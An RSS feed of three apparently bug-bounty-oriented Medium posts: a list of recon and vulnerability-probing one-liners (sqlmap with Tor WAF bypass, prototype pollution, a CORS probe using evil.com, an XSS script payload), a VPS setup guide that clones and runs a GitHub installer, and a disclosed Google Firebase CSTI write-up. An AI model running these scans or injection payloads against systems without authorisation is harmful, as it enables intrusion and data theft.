<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Security Empire on Medium]]></title>
        <description><![CDATA[Stories by Security Empire on Medium]]></description>
        <link>https://medium.com/@adityasingh4180?source=rss-fafbe648e155------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*iakGBGbHWS7Pc26BVzV-GA.jpeg</url>
            <title>Stories by Security Empire on Medium</title>
            <link>https://medium.com/@adityasingh4180?source=rss-fafbe648e155------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Mon, 30 Nov 2026 09:11:24 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@adityasingh4180/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[One-liner commands for bug bounty]]></title>
            <link>https://medium.com/@adityasingh4180/one-liner-commands-for-bug-bounty-4d271375be95?source=rss-fafbe648e155------2</link>
            <guid isPermaLink="false">https://medium.com/p/4d271375be95</guid>
            <dc:creator><![CDATA[Security Empire]]></dc:creator>
            <pubDate>Sun, 15 Sep 2024 07:00:16 GMT</pubDate>
            <atom:updated>2024-09-15T07:00:16.456Z</atom:updated>
            <content:encoded><![CDATA[<p>Here I will tell you about one liner commands for bug bounty, by using which you can do your bug bounty automation.</p><h4><strong>1. Create a list of IPs and scan using this one-liner :</strong></h4><p>Prepare my_ips.txt with IP addresses, each on a new line:</p><pre>192.168.1.1<br>10.0.0.1</pre><pre>cat my_ips.txt | xargs -L 100 -I {} shodan scan submit {} --wait 0</pre><h4>2. Convert NMAP CIDR to wordlist text :</h4><p>Prepare cidr.txt with CIDR ranges or IP addresses.<br> For example:</p><p>192.168.1.0/24<br>10.0.0.0/16</p><pre>cat cidr.txt | xargs -I @ sh -c &#39;nmap -v -sn @ | grep &quot;Nmap scan report for&quot; | sed &quot;s/Nmap scan report for //g&quot; | anew nmap-ips.txt&#39;</pre><h4>3. Use Shodan in the terminal (CLI) to search for IPs :</h4><pre>shodan search &quot;Ssl.cert.subject.CN:\&quot;target.com\&quot;&quot; --fields ip_str | anew ips.txt</pre><p><strong>Ensure Shodan CLI</strong> is installed and properly configured. And <strong>Make sure Shodan API key</strong> is set up in your environment for authentication.</p><h4>4. Censys for a specific domain and extract IP addresses :-</h4><pre>censys search &quot;target.com&quot; --index-type hosts | jq -c &#39;.results[] | {ip: .ip}&#39; | grep -oE &#39;[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+&#39;</pre><p><strong>First Ensure you have the Censys CLI tool</strong> installed and authenticated.</p><h4>5. One-Liner to Resolve and Save IP Addresses from Domains.Txt file</h4><pre>cat live-domain.txt | httpx -ip -silent -timeout 10 | grep -o &#39;[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}&#39; | tee domains-ips.txt</pre><p>This one-liner reads a list of domains from live-domain.txt, uses httpx to resolve their IP addresses, extracts the IP addresses using grep, and saves the results to domains-ips.txt.</p><h4>6. Directory Fuzzing</h4><p>When we do bug bounty directory fuzzing, there is a problem that we are fuzzing one url one by one and it takes a lot of time. Few commands to avoid it.</p><p>Fuzzing via ffuf :-</p><pre>ffuf -c -w urls.txt:URL -W wordlist.txt:FUZZ -u URL/FUZZ -mc all -fc 500,502 -ac -recursion -v -of json -o output.json</pre><p>Fuzzing via Dirsearch :-</p><pre>dirsearch -l urls.txt -w /home/kali/wordlist.txt -e conf,config,bak,backup,swp,old,db,sql,asp,aspx,aspx~,asp~,py,py~,rb,rb~,php,php~,bak,bkp,cache,cgi,conf,csv,html,inc,jar,js,json,jsp,jsp~,lock,log,rar,old.sql,sql.gz,sql.zip,sql.tar.gz,sql~,swp,swp~,tar,tar.bz2,tar.gz,txt,wadl,zip,log,xml --deep --recursive --force-recursive --exclude-sizes=0B --random-agent --full-url -o output.txt</pre><h4>7. One-Liner for SQLI vulnerabilities using katana, hakrawler and gau with SQLMap:</h4><pre>cat subs.txt | gau || hakrawler || katana || waybackurls | grep &quot;=&quot; | sort -u | anew tmp-sqli.txt &amp;&amp; sqlmap -m tmp-sqli.txt --batch --random-agent --level=5 --risk=3 --dbs &amp;&amp; while read -r url; do ghauri -u &quot;$url&quot; --level=3 --dbs --current-db --batch --confirm; done &lt; tmp-sqli.txt</pre><h4>8. Use SQLMAP for bypassing WAF viaTOR:</h4><pre>sqlmap -r request.txt --time-sec=10 --tor-type=SOCKS5 --check-tor --random-agent --tamper=space2comment --dbs</pre><h4>9. Find sensitive information bugs with Wayback:</h4><pre>echo target.com | (gau || hakrawler || waybackurls || katana) | grep -Eoi &#39;\.(xls|xml|xlsx|json|pdf|sql|doc|docx|pptx|txt|zip|tar\.gz|tgz|bak|7z|rar)$&#39;</pre><h4>10. Extract hidden parameters in JS file [after you download it) :</h4><p>Ensure main.js is downloaded and contains the JavaScript code you want to analyze.</p><pre>cat main.js | grep -oE &#39;(&quot;[^&quot;]*&quot;|&#39;[^&#39;]*&#39;|\/[a-zA-Z0-9_/?=]+)&#39; | sed -E &#39;s/^[&quot;\&#39;]|[&quot;\&#39;]$//g&#39; | sort -u</pre><h4>11. Find hidden parameters in JS :</h4><pre>cat subs.txt | gau || hakrawler || waybackurls || katana | sort -u | httpx -silent -threads 100 | grep -Ev &#39;\.(eot|jpg|jpeg|gif|css|tif|tiff|png|ttf|otf|woff|woff2|ico|svg|txt|pdf)$&#39; | while read url; do<br>    vars=$(curl -s &quot;$url&quot; | grep -Eo &#39;var [a-zA-Z0-9_]+&#39; | sed -e &#39;s/var //&#39; -e &#39;s/$/=&#39;$url&#39;/g&#39; | grep -Ev &#39;\.js$|[^\w]+\.js|[^\w]+\.js\.[0-9]+$|[^\w]+\.js[0-9]+$&#39; | sed &#39;s/.*/FUZZ=/g&#39;)<br>    echo -e &quot;\e[1;33m$url\e[1;32m$vars&quot;<br>done</pre><h4>12. Use subfinder + httpx to get protoype pollution bug :-</h4><pre>subfinder -d target.com -all -silent | httpx -silent -threads 100 | sed &#39;s/$/\/?__proto__[testparam]=exploit\//&#39; | tee alive.txt | xargs -I % sh -c &#39;curl -s % | grep -Eo &quot;window.testparam == \&quot;exploit\&quot; ? \&quot;[VULNERABLE]\&quot; : \&quot;[NOT VULNERABLE]\&quot;&quot; | sed -e &quot;s/[ \[\]JS]//g&quot; | grep &quot;VULNERABLE&quot; &amp;&amp; echo &quot;%&quot;&#39;</pre><h4>13. Found cors vulnerabilty via one-liner :-</h4><pre>echo target.com | gau || hakrawler || waybackurls || katana | while read url; do <br>    if curl -s -I -H &quot;Origin: https://evil.com&quot; -X GET &quot;$url&quot; | grep -q &#39;Access-Control-Allow-Origin: https://evil.com&#39;; then <br>        echo &quot;[Potential CORS Found] $url&quot;; <br>    else <br>        echo &quot;Nothing on $url&quot;; <br>    fi<br>done</pre><h4>14. Use favicon list to improve your hunting :</h4><pre>curl -s &quot;https://favicon-hash.kmsec.uk/api/?url=https://www.google.com/favicon.ico&quot; | jq</pre><h4>15 One-Liner for Prototype pollution issue:</h4><pre>subfinder -d TARGET.com -all -silent | httpx -silent -threads 300 | anew -q FILE.txt &amp;&amp; \<br>sed &#39;s/$/\/?__proto__[testparam]=exploit\//&#39; FILE.txt | page-fetch -j &#39;window.testparam == &quot;exploit&quot; ? &quot;[VULNERABLE]&quot; : &quot;[NOT VULNERABLE]&quot;&#39; | \<br>sed &quot;s/(//g&quot; | sed &quot;s/)//g&quot; | sed &quot;s/J5 //g&quot; | grep &quot;VULNERABLE&quot;</pre><p>16. one-liner for xss :-</p><pre>echo target.com | (gau || hakrawler || waybackurls || katana) | grep &#39;=&#39; | qsreplace &#39;&quot;&gt;&lt;script&gt;alert(1)&lt;/script&gt;&#39; | while read -r host; do curl -s --path-as-is --insecure &quot;$host&quot; | grep -qs &quot;&lt;script&gt;alert(1)&lt;/script&gt;&quot; &amp;&amp; echo &quot;$host \033[0;31mVulnerable\033[0m&quot;; done</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4d271375be95" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Preparing Your VPS for Bug Bounty Operations: A Complete Guide]]></title>
            <link>https://medium.com/@adityasingh4180/preparing-your-vps-for-bug-bounty-operations-a-complete-guide-f55c30331df0?source=rss-fafbe648e155------2</link>
            <guid isPermaLink="false">https://medium.com/p/f55c30331df0</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[vps]]></category>
            <category><![CDATA[bugcrowd]]></category>
            <category><![CDATA[automation-testing]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Security Empire]]></dc:creator>
            <pubDate>Tue, 23 Jul 2024 10:42:32 GMT</pubDate>
            <atom:updated>2024-07-23T10:42:32.965Z</atom:updated>
            <content:encoded><![CDATA[<h4>We need VPS a lot for bug bounty automation because we cannot sit in front of the computer 24/7 and scanning or automation takes a lot of time. Here I will tell you step by step setup of VPS.</h4><p>There are many options for backup such as DigitalOcean, Hostinger, Oracle and vultr.</p><p>But I will choose <a href="https://www.veeble.com/?n=1037"><strong>veeble.org</strong></a> vps because it is a little cheaper and it accepts payment through UPI so that I do not have to use the card and like other vps, it charges less for the first month and charges more from the second month onwards. It does the same as it will charge the first time, it will charge the next time also.</p><p>so Let’s start :-</p><p>step 1. First visit to the <a href="https://www.veeble.com/?n=1037">veeble.com</a> site</p><p>step 2. You select according to your budget, I select the basic one (StarterFlex) .</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/941/1*s6m1bbINFEgan32UVvrr7Q.png" /></figure><p>step 3. Select this as per your convenience, I select monthly and go with the default or you can manage something as per your budget.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*FABITC__Irph4okldIA7nA.png" /></figure><p>step 4. In the control panel, select cli (command line only) and in the operating system, select Debian or Ubuntu with which you are comfortable and then continue.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iOCipyNHeR3c2Adz3eWJCQ.png" /></figure><p>step 5. You can put my promo code in the promotional section.</p><pre>1037G22JDWA</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*e-u4DU3QS3k4EmQLOMHFYA.png" /></figure><p>step 6. Now you are on the register page. Create an account by entering your name, number, email, password, and addresses. If you have not already created an account, then</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*NTkBiRxZwPaaYc775rTf6A.png" /></figure><p>step 7. After everything is done, pay the bill and then wait for 1–2 hours, after that the company itself will mail you for the root password and ssh ip address .</p><p>step 8. now open the linux or window terminal and type this command</p><pre>$ ssh root@123.11.11.1</pre><p>step 9. After connecting via ssh root and password ,now update the repository</p><pre>$ apt update<br>$ apt upgrade -y <br></pre><p>step 10. Now clone <a href="https://github.com/mrco24/OK-VPS">OK-VPS</a> in you’r ssh machine</p><pre>$ apt-get update -y &amp;&amp; apt-get install git -y &amp;&amp; git clone https://github.com/mrco24/OK-VPS.git &amp;&amp; cd OK-VPS &amp;&amp; chmod +x okvps.sh &amp;&amp; ./okvps.sh</pre><p>This repository will install the Recon based tool in your vps machine .</p><h4>2. Maintaining Active SSH Sessions: Running Commands in the Background Even After Disconnect/close to you’re machine.</h4><p><strong>step 1. </strong>install the <strong>Tmux</strong> tool so that your tools will run in the background 24/7.</p><p>Install tmux (if not already installed):</p><pre>$ sudo apt-get install tmux</pre><p>step 2. Start a new tmux session:</p><pre>$ tmux new -s mysession</pre><p>step 3. If you want to list a tmux session</p><pre>$ tmux ls</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/650/1*_UWXYbjKRwdKE7Lio8cA2A.png" /></figure><p>step 4. Reattach to your tmux session later just type</p><pre>$ tmux attach -t mysession</pre><p>step 5. step 3. If you want to exit a trunks session completely</p><pre>$ exit</pre><p>Thank you for reading my write-up. I hope you found the information valuable and insightful. If you have any questions or feedback, feel free to reach out. Happy exploring and good luck with your vps .</p><p><a href="https://linktr.ee/biskuit4180">Aditya singh</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f55c30331df0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HOW I FOUND CSTI IN GOOGLE]]></title>
            <link>https://medium.com/@adityasingh4180/how-i-found-csti-in-google-c17a6d4540cc?source=rss-fafbe648e155------2</link>
            <guid isPermaLink="false">https://medium.com/p/c17a6d4540cc</guid>
            <dc:creator><![CDATA[Security Empire]]></dc:creator>
            <pubDate>Thu, 05 Jan 2023 07:17:38 GMT</pubDate>
            <atom:updated>2023-01-05T07:17:38.982Z</atom:updated>
            <content:encoded><![CDATA[<h3><strong>HOW I FOUND CSTI ON GOOGLE</strong></h3><p>by Aditya singh</p><h3><strong>INTRO</strong></h3><p>namaskar dosto 🙏 .</p><p>my name is aditya singh from india .</p><p>i am not very good and experience hunter , I just started bug hunting in June 2022 , so I am not very advanced in bug hunting.</p><p>this is my first write-up ,</p><p>in this write-up, i’ll describe how i found csti on google.</p><h3><strong>The vulnerabilty</strong></h3><p>You must have seen many csti/ssti but this csti was different.The way to exploit it is very different many times we get the option to login or signup through oauth . In this, we do not get the option to write our name, websites accept only the name which is there in Gmail.</p><p>At this time I used a very clever method or I saw my mentor that they keep csti/ssti payloads in the name of Gmail.</p><p>like this</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hdxogJUOnbUMXudKp8wePQ.png" /></figure><p>This would mean that as soon as a person login/signup through outh , In this and if that website is csti/ssti vulnerable, then the payload will be executed and multiplied.</p><p>so i just change the name through ssti/csti payload and when i login in firebase.google.com , firebase are vulnerable to angular template .</p><p>so ,</p><h3>Exploitation:~</h3><ol><li>navigate the <a href="https://myaccount.google.com/">https://myaccount.google.com/</a> and in the name parameter give csti/ssti paylaod {{4*8}} now save</li></ol><figure><img alt="see the right side" src="https://cdn-images-1.medium.com/max/1024/1*4X0gzLcDHGcrFYVPUFiBYg.png" /></figure><p>2. now go the the <a href="https://firebase.google.com/">https://firebase.google.com</a> and login</p><p>3. after login it redirect to console.firebase.com</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kZA3ywL8mi-JIjdhHkMYQw.png" /></figure><p>4. now this vulnerabilty are csti so it impact on client side</p><p>5. so move the cursor on right side on the name and see paylaod are executed , ex:~ 32</p><p>6. in this starting i think i found ssti , bug after few days google explained it’s csti .</p><p>after few weeks google reward me 3133$ for this</p><p>video:~ <a href="https://youtu.be/SlYfeAhQdGA">https://youtu.be/SlYfeAhQdGA</a></p><h3>Note:~</h3><p>i report 21 nov 2022</p><p>bug accept : 23 nov 2022</p><p>rewarded me :~ 2 dec 2022 3133$</p><p>bug fix 17 dec 2022</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c17a6d4540cc" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>